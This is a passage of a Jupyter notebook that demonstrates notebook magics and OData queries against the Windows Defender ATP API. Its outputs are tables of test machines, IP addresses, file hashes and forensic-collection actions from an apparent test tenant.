<tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>10.5840.17756.1</td>\\n\",\n       \"      <td>desktop-5m6k86k</td>\\n\",\n       \"      <td>2018-10-12T08:25:59.4496124Z</td>\\n\",\n       \"      <td>Active</td>\\n\",\n       \"      <td>ff650e5231004a86d0692d8b0e942bdd0c8e085f</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>167.220.196.78</td>\\n\",\n       \"      <td>10.166.175.78</td>\\n\",\n       \"      <td>2018-11-30T10:00:45.7939636Z</td>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>17756</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>72</td>\\n\",\n       \"      <td>avital test prd</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>10.5840.17763.1</td>\\n\",\n       \"      <td>desktop-jqlsi5j</td>\\n\",\n       \"      <td>2018-03-15T18:38:22.2435062Z</td>\\n\",\n       \"      <td>Active</td>\\n\",\n       \"      <td>c46e5570fbe248b00194c82a1a17541588b276fc</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>104.42.20.124</td>\\n\",\n       \"      <td>192.168.137.101</td>\\n\",\n       \"      <td>2018-11-29T12:48:07.5768316Z</td>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>17763</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"      <td>10.0.0.0</td>\\n\",\n       \"      <td>72</td>\\n\",\n       \"      <td>avital test prd</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>10.5810.17728.1000</td>\\n\",\n       \"      <td>desktop-vn7j6e8</td>\\n\",\n       \"      <td>2018-07-31T11:39:13.7979264Z</td>\\n\",\n       \"      <td>Active</td>\\n\",\n       \"      <td>c2b1722ec43f89c61f4f332e7b35ab183a2ef6d8</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>90.253.95.54</td>\\n\",\n       \"      <td>172.18.9.1</td>\\n\",\n       \"      <td>2018-11-29T16:28:01.025171Z</td>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>17728</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>72</td>\\n\",\n       \"      <td>avital test prd</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                      @odata.context aadDeviceId  \\\\\\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...        None   \\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...        None   \\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...        None   \\n\",\n       \"\\n\",\n       \"         agentVersion  computerDnsName                     firstSeen  \\\\\\n\",\n       \"0     10.5840.17756.1  desktop-5m6k86k  2018-10-12T08:25:59.4496124Z   \\n\",\n       \"0     10.5840.17763.1  desktop-jqlsi5j  2018-03-15T18:38:22.2435062Z   \\n\",\n       \"0  10.5810.17728.1000  desktop-vn7j6e8  2018-07-31T11:39:13.7979264Z   \\n\",\n       \"\\n\",\n       \"  healthStatus                                        id  isAadJoined  \\\\\\n\",\n       \"0       Active  ff650e5231004a86d0692d8b0e942bdd0c8e085f        False   \\n\",\n       \"0       Active  c46e5570fbe248b00194c82a1a17541588b276fc        False   \\n\",\n       \"0       Active  c2b1722ec43f89c61f4f332e7b35ab183a2ef6d8         True   \\n\",\n       \"\\n\",\n       \"  lastExternalIpAddress    lastIpAddress                      lastSeen  \\\\\\n\",\n       \"0        167.220.196.78    10.166.175.78  2018-11-30T10:00:45.7939636Z   \\n\",\n       \"0         104.42.20.124  192.168.137.101  2018-11-29T12:48:07.5768316Z   \\n\",\n       \"0          90.253.95.54       172.18.9.1   2018-11-29T16:28:01.025171Z   \\n\",\n       \"\\n\",\n       \"  machineTags  osBuild osPlatform osVersion  rbacGroupId    rbacGroupName  \\\\\\n\",\n       \"0          []    17756  Windows10      None           72  avital test prd   \\n\",\n       \"0          []    17763  Windows10  10.0.0.0           72  avital test prd   \\n\",\n       \"0          []    17728  Windows10      None           72  avital test prd   \\n\",\n       \"\\n\",\n       \"  riskScore  \\n\",\n       \"0      High  \\n\",\n       \"0      High  \\n\",\n       \"0    Medium  \"\n      ]\n     },\n     \"execution_count\": 39,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"%%wdatp_machine \\n\",\n    \"ff650e5231004a86d0692d8b0e942bdd0c8e085f\\n\",\n    \"c46e5570fbe248b00194c82a1a17541588b276fc\\n\",\n    \"c2b1722ec43f89c61f4f332e7b35ab183a2ef6d8\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 40,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>osBuild</th>\\n\",\n       \"      <th>osPlatform</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>f707abf3027cf0a698ee50bd04335927f1369aa2</td>\\n\",\n       \"      <td>17134</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>ecbe1d69a9941035cfb50d4209a95b67cb941d74</td>\\n\",\n       \"      <td>18292</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>ccffe8d0c7597a82f57b951247bac173cec98833</td>\\n\",\n       \"      <td>17704</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>ff650e5231004a86d0692d8b0e942bdd0c8e085f</td>\\n\",\n       \"      <td>17756</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>4</th>\\n\",\n       \"      <td>057d9247af2631f8d1f5f92a18ba682d22f89243</td>\\n\",\n       \"      <td>18292</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                         id  osBuild osPlatform\\n\",\n       \"0  f707abf3027cf0a698ee50bd04335927f1369aa2    17134  Windows10\\n\",\n       \"1  ecbe1d69a9941035cfb50d4209a95b67cb941d74    18292  Windows10\\n\",\n       \"2  ccffe8d0c7597a82f57b951247bac173cec98833    17704  Windows10\\n\",\n       \"3  ff650e5231004a86d0692d8b0e942bdd0c8e085f    17756  Windows10\\n\",\n       \"4  057d9247af2631f8d1f5f92a18ba682d22f89243    18292  Windows10\"\n      ]\n     },\n     \"execution_count\": 40,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# here is how to invoke the API and provide an OData query\\n\",\n    \"wdatp_api.machines(filterstr = \\\"$select=id,osBuild,osPlatform&$filter=startswith(computerDnsName,'desktop')&$top=5\\\")\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 41,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>aadDeviceId</th>\\n\",\n       \"      <th>agentVersion</th>\\n\",\n       \"      <th>computerDnsName</th>\\n\",\n       \"      <th>firstSeen</th>\\n\",\n       \"      <th>healthStatus</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>isAadJoined</th>\\n\",\n       \"      <th>lastExternalIpAddress</th>\\n\",\n       \"      <th>lastIpAddress</th>\\n\",\n       \"      <th>lastSeen</th>\\n\",\n       \"      <th>machineTags</th>\\n\",\n       \"      <th>osBuild</th>\\n\",\n       \"      <th>osPlatform</th>\\n\",\n       \"      <th>osVersion</th>\\n\",\n       \"      <th>rbacGroupId</th>\\n\",\n       \"      <th>rbacGroupName</th>\\n\",\n       \"      <th>riskScore</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>10.5810.17728.1000</td>\\n\",\n       \"      <td>desktop-vn7j6e8</td>\\n\",\n       \"      <td>2018-07-31T11:39:13.7979264Z</td>\\n\",\n       \"      <td>Active</td>\\n\",\n       \"      <td>c2b1722ec43f89c61f4f332e7b35ab183a2ef6d8</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>90.253.95.54</td>\\n\",\n       \"      <td>172.18.9.1</td>\\n\",\n       \"      <td>2018-11-29T16:28:01.025171Z</td>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>17728</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>72</td>\\n\",\n       \"      <td>avital test prd</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"  aadDeviceId        agentVersion  computerDnsName  \\\\\\n\",\n       \"0        None  10.5810.17728.1000  desktop-vn7j6e8   \\n\",\n       \"\\n\",\n       \"                      firstSeen healthStatus  \\\\\\n\",\n       \"0  2018-07-31T11:39:13.7979264Z       Active   \\n\",\n       \"\\n\",\n       \"                                         id  isAadJoined  \\\\\\n\",\n       \"0  c2b1722ec43f89c61f4f332e7b35ab183a2ef6d8         True   \\n\",\n       \"\\n\",\n       \"  lastExternalIpAddress lastIpAddress                     lastSeen  \\\\\\n\",\n       \"0          90.253.95.54    172.18.9.1  2018-11-29T16:28:01.025171Z   \\n\",\n       \"\\n\",\n       \"  machineTags  osBuild osPlatform osVersion  rbacGroupId    rbacGroupName  \\\\\\n\",\n       \"0          []    17728  Windows10      None           72  avital test prd   \\n\",\n       \"\\n\",\n       \"  riskScore  \\n\",\n       \"0    Medium  \"\n      ]\n     },\n     \"execution_count\": 41,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# let's look up a specific host\\n\",\n    \"wdatp_api.machines(filterstr = \\\"$filter=ComputerDnsName eq 'desktop-vn7j6e8'\\\")\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 42,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>riskScore</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>80102a08edaa9e2aa875abb5d787db5064cc5246</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>b8cfddf97e14dfe6b1e4dc753cd32e833d6a481a</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>13a841485e2daecc7ae3ba6b70449ebaac5355b0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>ff650e5231004a86d0692d8b0e942bdd0c8e085f</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>4</th>\\n\",\n       \"      <td>80884f1c67675ae214faec3fc33652e1d2e9ad23</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                         id riskScore\\n\",\n       \"0  80102a08edaa9e2aa875abb5d787db5064cc5246      High\\n\",\n       \"1  b8cfddf97e14dfe6b1e4dc753cd32e833d6a481a      High\\n\",\n       \"2  13a841485e2daecc7ae3ba6b70449ebaac5355b0      High\\n\",\n       \"3  ff650e5231004a86d0692d8b0e942bdd0c8e085f      High\\n\",\n       \"4  80884f1c67675ae214faec3fc33652e1d2e9ad23      High\"\n      ]\n     },\n     \"execution_count\": 42,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# Let's look up machines with a High risk score\\n\",\n    \"wdatp_api.machines(filterstr=\\\"$select=id,RiskScore&$top=5&$filter=riskScore eq 'High'\\\")\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"### Magic for IPs\\n\",\n    \"You can look up WDATP data on IPs with the` %%wdatp_ip` magic \"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 43,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>@odata.context</th>\\n\",\n       \"      <th>ipAddress</th>\\n\",\n       \"      <th>orgFirstSeen</th>\\n\",\n       \"      <th>orgLastSeen</th>\\n\",\n       \"      <th>orgPrevalence</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>52.239.151.138</td>\\n\",\n       \"      <td>2018-10-31T21:31:06Z</td>\\n\",\n       \"      <td>2018-11-30T19:58:08Z</td>\\n\",\n       \"      <td>236</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>65.52.108.90</td>\\n\",\n       \"      <td>2018-10-31T21:33:18Z</td>\\n\",\n       \"      <td>2018-11-30T21:06:09Z</td>\\n\",\n       \"      <td>3868</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                      @odata.context       ipAddress  \\\\\\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...  52.239.151.138   \\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...    65.52.108.90   \\n\",\n       \"\\n\",\n       \"           orgFirstSeen           orgLastSeen orgPrevalence  \\n\",\n       \"0  2018-10-31T21:31:06Z  2018-11-30T19:58:08Z           236  \\n\",\n       \"0  2018-10-31T21:33:18Z  2018-11-30T21:06:09Z          3868  \"\n      ]\n     },\n     \"execution_count\": 43,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"%%wdatp_ip  \\n\",\n    \"52.239.151.138\\n\",\n    \"65.52.108.90\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"### Magic for files\\n\",\n    \"You can look up WDATP data on files with the `%%wdatp_file` magic \"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 44,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>@odata.context</th>\\n\",\n       \"      <th>fileProductName</th>\\n\",\n       \"      <th>filePublisher</th>\\n\",\n       \"      <th>fileType</th>\\n\",\n       \"      <th>globalFirstObserved</th>\\n\",\n       \"      <th>globalLastObserved</th>\\n\",\n       \"      <th>globalPrevalence</th>\\n\",\n       \"      <th>isPeFile</th>\\n\",\n       \"      <th>isValidCertificate</th>\\n\",\n       \"      <th>issuer</th>\\n\",\n       \"      <th>md5</th>\\n\",\n       \"      <th>sha1</th>\\n\",\n       \"      <th>sha256</th>\\n\",\n       \"      <th>signer</th>\\n\",\n       \"      <th>signerHash</th>\\n\",\n       \"      <th>size</th>\\n\",\n       \"      <th>windowsDefenderAVThreatName</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>NonPE</td>\\n\",\n       \"      <td>2018-06-19T20:12:53.8165192Z</td>\\n\",\n       \"      <td>2018-11-30T08:45:39.2491437Z</td>\\n\",\n       \"      <td>352192</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>39fe884338fdb988b679c653d3ba0651</td>\\n\",\n       \"      <td>638b2e1faad40472326dd4c52a1761f14136b6a8</td>\\n\",\n       \"      <td>7d2ddee494f1a5bd2be8d1bca2b0495a488e3bfd2abaeb...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>12314</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Unknown</td>\\n\",\n       \"      <td>2015-05-08T09:00:04.1338588Z</td>\\n\",\n       \"      <td>2018-11-30T08:43:23.9550783Z</td>\\n\",\n       \"      <td>1900485</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>af1d6460de40997a55e5a1c373ece3b5</td>\\n\",\n       \"      <td>4b3f13e136acd1a112a75fa5179c2e2018598364</td>\\n\",\n       \"      <td>6486d456ff41f4039405318f10b35995415b9452f9d4d0...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>2571</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                      @odata.context fileProductName  \\\\\\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...            None   \\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...            None   \\n\",\n       \"\\n\",\n       \"  filePublisher fileType           globalFirstObserved  \\\\\\n\",\n       \"0          None    NonPE  2018-06-19T20:12:53.8165192Z   \\n\",\n       \"0          None  Unknown  2015-05-08T09:00:04.1338588Z   \\n\",\n       \"\\n\",\n       \"             globalLastObserved  globalPrevalence  isPeFile  \\\\\\n\",\n       \"0  2018-11-30T08:45:39.2491437Z            352192     False   \\n\",\n       \"0  2018-11-30T08:43:23.9550783Z           1900485     False   \\n\",\n       \"\\n\",\n       \"  isValidCertificate issuer                               md5  \\\\\\n\",\n       \"0               None   None  39fe884338fdb988b679c653d3ba0651   \\n\",\n       \"0               None   None  af1d6460de40997a55e5a1c373ece3b5   \\n\",\n       \"\\n\",\n       \"                                       sha1  \\\\\\n\",\n       \"0  638b2e1faad40472326dd4c52a1761f14136b6a8   \\n\",\n       \"0  4b3f13e136acd1a112a75fa5179c2e2018598364   \\n\",\n       \"\\n\",\n       \"                                              sha256 signer signerHash   size  \\\\\\n\",\n       \"0  7d2ddee494f1a5bd2be8d1bca2b0495a488e3bfd2abaeb...   None       None  12314   \\n\",\n       \"0  6486d456ff41f4039405318f10b35995415b9452f9d4d0...   None       None   2571   \\n\",\n       \"\\n\",\n       \"  windowsDefenderAVThreatName  \\n\",\n       \"0                        None  \\n\",\n       \"0                        None  \"\n      ]\n     },\n     \"execution_count\": 44,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"%%wdatp_file\\n\",\n    \"638b2e1faad40472326dd4c52a1761f14136b6a8\\n\",\n    \"4b3f13e136acd1a112a75fa5179c2e2018598364\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"### Magic for machine actions\\n\",\n    \"You can look up WDATP data on machine actions with the `%%wdatp_action` magic. As in previous examples, this magic will regex for the GUIDs used to identify actions\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 45,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>@odata.context</th>\\n\",\n       \"      <th>creationDateTimeUtc</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>lastUpdateDateTimeUtc</th>\\n\",\n       \"      <th>machineId</th>\\n\",\n       \"      <th>relatedFileInfo</th>\\n\",\n       \"      <th>requestor</th>\\n\",\n       \"      <th>requestorComment</th>\\n\",\n       \"      <th>status</th>\\n\",\n       \"      <th>type</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>2018-11-29T14:33:17.7365757Z</td>\\n\",\n       \"      <td>845960bf-6148-4151-9c66-d88eeca5e7aa</td>\\n\",\n       \"      <td>2018-11-29T14:36:01.9592049Z</td>\\n\",\n       \"      <td>c8ea7f9c281f0c8e888e6d4cf9672593c0865c2d</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Analyst@WcdTestPrd.onmicrosoft.com</td>\\n\",\n       \"      <td>Forensic Collection test automation - AutoIR o...</td>\\n\",\n       \"      <td>Succeeded</td>\\n\",\n       \"      <td>CollectInvestigationPackage</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>2018-11-29T14:33:16.467889Z</td>\\n\",\n       \"      <td>ae819b45-f343-44dd-9e11-c6d0b2cad565</td>\\n\",\n       \"      <td>2018-11-29T14:34:10.0872311Z</td>\\n\",\n       \"      <td>51c74a0cd9caf8ee63ed2d3f81466b99a2c038fb</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Analyst@WcdTestPrd.onmicrosoft.com</td>\\n\",\n       \"      <td>Forensic Collection test automation - AutoIR o...</td>\\n\",\n       \"      <td>Failed</td>\\n\",\n       \"      <td>CollectInvestigationPackage</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>2018-11-29T14:33:14.5515192Z</td>\\n\",\n       \"      <td>b7ec6e6f-b984-4058-ab95-d59a369e1a6c</td>\\n\",\n       \"      <td>2018-11-29T14:36:54.113849Z</td>\\n\",\n       \"      <td>9b2153d0c675eaa415b8e5f383c6388bff446c62</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Analyst@WcdTestPrd.onmicrosoft.com</td>\\n\",\n       \"      <td>Forensic Collection test automation - AutoIR o...</td>\\n\",\n       \"      <td>Succeeded</td>\\n\",\n       \"      <td>CollectInvestigationPackage</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                      @odata.context  \\\\\\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"\\n\",\n       \"            creationDateTimeUtc                                    id  \\\\\\n\",\n       \"0  2018-11-29T14:33:17.7365757Z  845960bf-6148-4151-9c66-d88eeca5e7aa   \\n\",\n       \"0   2018-11-29T14:33:16.467889Z  ae819b45-f343-44dd-9e11-c6d0b2cad565   \\n\",\n       \"0  2018-11-29T14:33:14.5515192Z  b7ec6e6f-b984-4058-ab95-d59a369e1a6c   \\n\",\n       \"\\n\",\n       \"          lastUpdateDateTimeUtc                                 machineId  \\\\\\n\",\n       \"0  2018-11-29T14:36:01.9592049Z  c8ea7f9c281f0c8e888e6d4cf9672593c0865c2d   \\n\",\n       \"0  2018-11-29T14:34:10.0872311Z  51c74a0cd9caf8ee63ed2d3f81466b99a2c038fb   \\n\",\n       \"0   2018-11-29T14:36:54.113849Z  9b2153d0c675eaa415b8e5f383c6388bff446c62   \\n\",\n       \"\\n\",\n       \"  relatedFileInfo                           requestor  \\\\\\n\",\n       \"0            None  Analyst@WcdTestPrd.onmicrosoft.com   \\n\",\n       \"0            None  Analyst@WcdTestPrd.onmicrosoft.com   \\n\",\n       \"0            None  Analyst@WcdTestPrd.onmicrosoft.com   \\n\",\n       \"\\n\",\n       \"                                    requestorComment     status  \\\\\\n\",\n       \"0  Forensic Collection test automation - AutoIR o...  Succeeded   \\n\",\n       \"0  Forensic Collection test automation - AutoIR o...     Failed   \\n\",\n       \"0  Forensic Collection test automation - 